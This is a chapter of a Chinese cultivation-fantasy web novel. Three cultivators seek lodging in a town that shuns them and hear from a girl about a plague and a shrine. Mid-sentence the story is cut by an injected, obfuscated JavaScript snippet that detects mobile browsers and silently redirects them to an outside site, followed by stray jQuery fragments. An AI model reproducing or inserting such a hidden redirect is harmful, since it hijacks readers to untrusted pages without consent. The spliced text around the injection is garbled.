忘忧镇与千灵城相距不远,三人赶在天黑之前抵达镇前的石桥处。石桥下的溪水自镇后的深山引下,水质清澈,可见游鱼徜徉。
秘境恰好坐落在忘忧镇旁,由七星门负责管辖,每六十年开启一次。
“我们先进镇子里借宿一晚,明日再进山吧。”景佳时提议。
纪连城没有意见。
至于阮年,她手里没有秘境打开的钥匙,自然也是听从景佳时的安排。
走近镇口,传来小孩子嘻嘻哈哈的笑声,原来是有户人家的小孩在外面玩泥巴。她的父母也在院子里磨着豆渣,院门敞开着。
景佳时快走几步到围栏前站定,道:“两位,可有空房间供我们三人借宿?”
妇人停下推磨的动作,端详景佳时的着装,看向自己的丈夫。
男人抹了把额头的汗,目光下移,厉声道:“我们这里没多的房间了。”
阮年一开始就注意到墙角堆放的农具和生活用品,说明这里就他们一家三口居住,不论怎么说一个杂物间也应该是能腾出来的。
“诶,我们不白住呀,我们给钱!”景佳时试图争取一下。
“说了没有就是没有。”
男人将妇人与小孩都召回屋子,自己端起豆渣最后一个进房,随后就是屋门门闩上锁的吧嗒声。
“怎么回事?师父不是这么说的啊!”景佳时失落道。
纪连城指了其他的房屋,道:“可以再去问问其他人,有可能只是他们不喜欢外人进屋。”
阮年跟在两人身后挨家挨户敲门,得到的结果无一例外,全部都不欢迎他们。
态度好一点的还会出来说几句话,态度差的都不回应,甚至好些在外活动的人老远瞧见他们,一溜烟就躲进屋子里。
表情和见到瘟神没什么两样。
忘忧镇不大,就百来户人家,不一会儿就快走到头了。
饶是迟钝的纪连城都发觉不对劲,道:“我们看起来穷凶极恶吗?为何都这般躲着我们?”
修士于普通人就是可望不可及的存在,且不说多尊敬,起码怎么也不会到抗拒的程度。普通家庭里若是能出一个有修行资质的孩子,族谱都得单独为他们开一列。
阮年思索片刻,道:“有些修行之人,眼高于顶,自视甚高,可能路过此地时犯下什么错,败坏了我们的名誉。”
“人与人不同,修士与修士也各异呀。”景佳时不死心决定最后试一次,“村尾不是还有一户人家吗?我再去看看。”
村尾那户门外并没有打猎用的工具,只有些小锄头小锤子,院里零散地摆放着编织用的稻草。
敲门后没多久便有了动静,从里屋走出一位少女,麻花辫垂在耳侧,她只将院门开了个小缝,探出个头。
“几位什么事?”
景佳时可怜兮兮道:“姑娘,我们途径此地,实在是没地方去了,可有空屋供我们借宿一晚?”
少女面露迟疑,问:“你们是修士?来此地做什么?”
这是有戏!
“对,只因不愿摸黑继续赶路,想有个歇脚处,我们还可以给些灵石做补偿。”
纪连城拿出七星门的令牌,道:“我们来自七星门,方才所说句句属实。”
蓦然,门从里面被拉开,一位黑发少年从少女身侧钻出,不同于少女柔和温润的长相,少年的眉眼初露锋芒。
“红叶,你出来做什么?”
被称作红叶的少年立在阮年面前,呆呆看着她,一动不动。
少女拽住他的手往回拉,抱歉地看着阮年道:“他年纪小没见过世面,不知这位仙师是来自哪门哪派?”
“飘渺宗。”阮年答。
“飘渺宗……”少女重复了一遍,抿唇停滞片刻,再看了一眼红叶,“几位仙师,不知我弟弟可有修行的资格?”
景佳时插话,“他若有灵根,可带回我们门派,这并不是什么难事,只是我们现在没有去处,还需……咳咳。”
“请进吧,几位。”少女左右确认周围没有人看见,迅速拉开院门让他们进屋。
“叫我红玉就好,几位仙师怎么称呼?”
景佳时大包大揽地替每个人都做了自我介绍,问:“红玉姑娘,你家里就你和你弟弟吗?”
“嗯,我父母也是修士,前些年不幸身陨。我没继承到他们的资质,与我弟弟靠做点手工活相依为命。”
阮年问:“你怎么会觉得你弟弟有呢?”
“是啊是啊。”景佳时附和。
问题有些冒犯,红玉也没有生气,解释:“我父母把他领回家的时候说他很有灵气,我这个做姐姐的不想耽误他。”
“姐,我困了。”红叶打了个哈欠,眼里闪着泪花。
“去睡觉吧。”红玉柔声道。
景佳时很有自知之明,道:“红玉姑娘,给我们三人一间普通的屋子就行。”
“好,几位仙师需要吃食吗?厨房里还有些剩下的。”
阮年没有太多的口腹之欲,纪连城不喜欢麻烦别人,唯有景佳时兴奋道:“好啊好啊,那我也去厨房给你打下手。”
景佳时蹦蹦跳跳地跟在红玉身后走进厨房。
阮年扭头问:“你师姐做的饭能吃吗?”
纪连城认真道:“在七星门时,她喜欢摘些没见过的花草烹调,吃不死人。”
“原来如此,今天的她就自己吃吧。”
“阮道友,你有没有觉得这些镇民的反应很不寻常。”纪连城小声道。
阮年不是没有知觉,“嗯,你们七星门的秘境就在他们后山处,想必多年之前也有人来过此地,不应当如此排斥。”
屋外已经完全暗下来,入夜,路边没有多余的灯光,黑得深不见底,让阮年想起来冥海海底往上望去时的感受,宁静却不祥和。
“好了好了,我先尝一口,你们喝不喝?”景佳时捧出一碗粥。
红玉跟在她身后坐在几人对面,补充:“我这里还有多的碗筷。”
“不用了。”
“不必。”
“那个,粥里没有旁的食材。”红玉道。
“我不饿,师姐吃就好。”
“近期在辟谷,无福消受。”
“红玉姑娘你不用劝了,他们不吃,全都归我。”景佳时笑嘻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296915|182246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘻地喝下一大口,十分满足。
阮年犹豫再三,问:“红玉,你们镇是和修士有什么过节吗?”
“没有。”
红玉意识到自己脱口而出,忘记阮年意有所指,道:“阮仙师,只是我们镇里有些禁忌罢了。”
景佳时咽下嘴里的吃食,问:“禁忌?什么禁忌,能和我们讲讲吗?要知道我们七星门可是专门负责辟邪祛凶的。”
红玉确认门闩紧扣,娓娓道来:“也是六十多年前,我们镇里遭遇了一场瘟疫。这瘟疫很奇怪,起初染上以后皮肤溃烂流白脓,身体虚弱,可到了后期眼冒绿光不说,还会咬人。如果不幸被患病的人咬伤,就会变得和他们一样。”
纪连城皱眉道:“这……闻所未闻。”
“瘟疫蔓延没多久,突然就好了。具体的,我也不清楚,我父母当时不在镇里。这故事还是隔壁大婶告诉我的。当时的镇长说是神祇显灵,从这以后,我们镇外就搭建了一个五毒庙。”
“五毒庙,名字听着寓意不太好,里面供奉的是?”
许是因为钟音的言传身教,阮年对于这种怪奇之事,也来了兴趣。
“里面什么都没有供奉。名字嘛,老镇长说以毒攻毒。”
自从成为修士,景佳时的确知道些不寻常的怪力乱神,但红玉嘴里所述的内容,让她摸不着头脑。
她追问:“这和不欢迎我们有什么关系,而且禁忌呢?”
霎时间,门窗紧闭的房间,不知道从哪里冒出的一阵风,吹灭了桌上的油灯,周遭陷入诡异的暗色。
景佳时一口粥还没有咽下去,被这突如其来的关灯吓一跳,呛得狂咳嗽。
“应当是灯盏里的煤油尽了,我再去添些。”
待红玉从橱柜回来,火苗绽放的间隙,照在众人脸上,幽蓝的外层火焰徐徐升起,恢复温暖的气氛。
她继续方才的话题,“禁忌就是村长说五毒庙里供奉的神明不欢迎修士来访。不过我父母也是修士,所以我不太信这个。”
“红玉姑娘,你父母是……”纪连城问。
“他们生前没和我说。”
景佳时喝下全部的粥,还在对有关禁忌的描述念念不忘,道:“什么破神还能对我们这么大意见,要知道我们飞升以后可是和他们平起平坐,装什么高贵。”
红玉示意她说话小声些,景佳时降低音调,道:“唉,关于你说的这些,我倒有个猜想。”
“什么?”阮年好奇地问。
“我不信这是真神,我们作为修士都没见过神呢。估计就是有人装神弄鬼,说不定瘟疫是他故意弄出来的,解决起来不仅毫不费力,还能博个好名声。他可能与哪个修士结过仇,才这么看不得我们。”
景佳时的说法乍一看有几分道理,实际思考就会发现,如果真如她所说,动机全无,这个人多半是闲的。
红玉摇头反驳,“不会,我虽知之甚少,但听镇里的长辈信誓旦旦,甚至还能形容出他的样貌……”
院子里响起悉悉索索的脚步声,步步靠近他们所在的主屋,红玉闭嘴,屏住呼吸,几人面面相觑。
咚咚咚——